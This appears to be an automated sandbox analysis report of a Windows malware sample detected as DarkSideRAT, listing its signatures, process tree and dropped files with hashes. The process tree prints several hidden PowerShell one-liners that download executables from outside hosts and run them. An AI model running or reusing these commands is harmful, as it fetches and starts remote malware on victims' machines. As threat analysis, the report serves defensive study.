Overview

overview

10

Static

static

3

2026-08-03...ar.exe

windows10-2004-x64

10

2026-08-03...ar.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    04/08/2026, 10:32

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General

  • Target
    2026-08-03_9e9337c1f59f20e3b3476fa2080582a0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
  • Size 1.0MB
  • Sample260804-mlb98shf23
  • SHA256 1587a9f18f3a72274765ae1529265c6b1c9018914a26703e9240bff15ff4bdf4
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
executiondarksiderattrojan

Malware Config

Signatures

  • Family: DarkSideRAT

    DarkSideRAT is a remote access trojan.

    trojandarksiderat
  • Detects DarkSideRAT 1 IoCs
  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 3 IoCs
  • Executes dropped EXE 3 IoCs
  • Executes a command shell one-liner 1 TTPs 8 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-03_9e9337c1f59f20e3b3476fa2080582a0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_9e9337c1f59f20e3b3476fa2080582a0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1828
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://darkside.cy/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt&_r=sq7u1EX70g3D' -OutFile $env:TEMP\BK565791.exe; Start-Process -FilePath $env:TEMP\BK565791.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1240
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://darkside.cy/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt&_r=sq7u1EX70g3D' -OutFile $env:TEMP\BK565791.exe; Start-Process -FilePath $env:TEMP\BK565791.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2320
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://darkside.cy/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt&_r=sq7u1EX70g3D' -OutFile $env:TEMP\BK565791.exe; Start-Process -FilePath $env:TEMP\BK565791.exe -WindowStyle Hidden }"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1144
          • C:\Users\Admin\AppData\Local\Temp\BK565791.exe
            "C:\Users\Admin\AppData\Local\Temp\BK565791.exe"
            5⤵
            • Executes dropped EXE
            PID:4180
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=PEce5RzBLvwu' -OutFile $env:TEMP\BK622683.exe; Start-Process -FilePath $env:TEMP\BK622683.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1068
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=PEce5RzBLvwu' -OutFile $env:TEMP\BK622683.exe; Start-Process -FilePath $env:TEMP\BK622683.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4964
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=PEce5RzBLvwu' -OutFile $env:TEMP\BK622683.exe; Start-Process -FilePath $env:TEMP\BK622683.exe -WindowStyle Hidden }"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3232
          • C:\Users\Admin\AppData\Local\Temp\BK622683.exe
            "C:\Users\Admin\AppData\Local\Temp\BK622683.exe"
            5⤵
            • Executes dropped EXE
            PID:844
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://darkside.cy/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt&_r=w8eBU7p2siXG' -OutFile $env:APPDATA\BK219456.exe; Start-Process -FilePath $env:APPDATA\BK219456.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5028
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://darkside.cy/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt&_r=w8eBU7p2siXG' -OutFile $env:APPDATA\BK219456.exe; Start-Process -FilePath $env:APPDATA\BK219456.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1892
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://darkside.cy/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt&_r=w8eBU7p2siXG' -OutFile $env:APPDATA\BK219456.exe; Start-Process -FilePath $env:APPDATA\BK219456.exe -WindowStyle Hidden }"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1572
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=3aZjG3O6q1xA' -OutFile $env:APPDATA\BK705536.exe; Start-Process -FilePath $env:APPDATA\BK705536.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3224
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=3aZjG3O6q1xA' -OutFile $env:APPDATA\BK705536.exe; Start-Process -FilePath $env:APPDATA\BK705536.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3248
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=3aZjG3O6q1xA' -OutFile $env:APPDATA\BK705536.exe; Start-Process -FilePath $env:APPDATA\BK705536.exe -WindowStyle Hidden }"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4188
          • C:\Users\Admin\AppData\Roaming\BK705536.exe
            "C:\Users\Admin\AppData\Roaming\BK705536.exe"
            5⤵
            • Executes dropped EXE
            PID:4760

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        powershell.exe.log
        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 f31e7bcc70015bc25386ddc1001e72dab91bb0ecc8a5ce2d02f99c9a93a3ef57
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 44daacb4166e4bdc2247ba4c7045d7bc705bf8a0448bb5beae2b244ec4381f40
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 a240ffc61ea5d736cd00b62e38df4077ae5a37d1a5dbe5b6749e349053d16544
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        BK565791.exe
        • Path C:\Users\Admin\AppData\Local\Temp\BK565791.exe
        • Size 277KB
        • SHA256 600fd59a6114e08606f4bbc881c1c156193ff01371e1144a05ca787d365e067d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        BK622683.exe
        • Path C:\Users\Admin\AppData\Local\Temp\BK622683.exe
        • Size 67KB
        • SHA256 245c4870dbf4b2f0102835addb1780d845bd1c31d5ac2a8ac7a5dfe993d6365f
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        __PSScriptPolicyTest_z1453pnt.tev.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z1453pnt.tev.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/1144-1-0x00000167F4C50000-0x00000167F4C60000-memory.dmp
        Download

        memory/1144-0-0x00000167F4C50000-0x00000167F4C60000-memory.dmp
        Download

        memory/3232-14-0x0000020EDD620000-0x0000020EDD642000-memory.dmp
        Download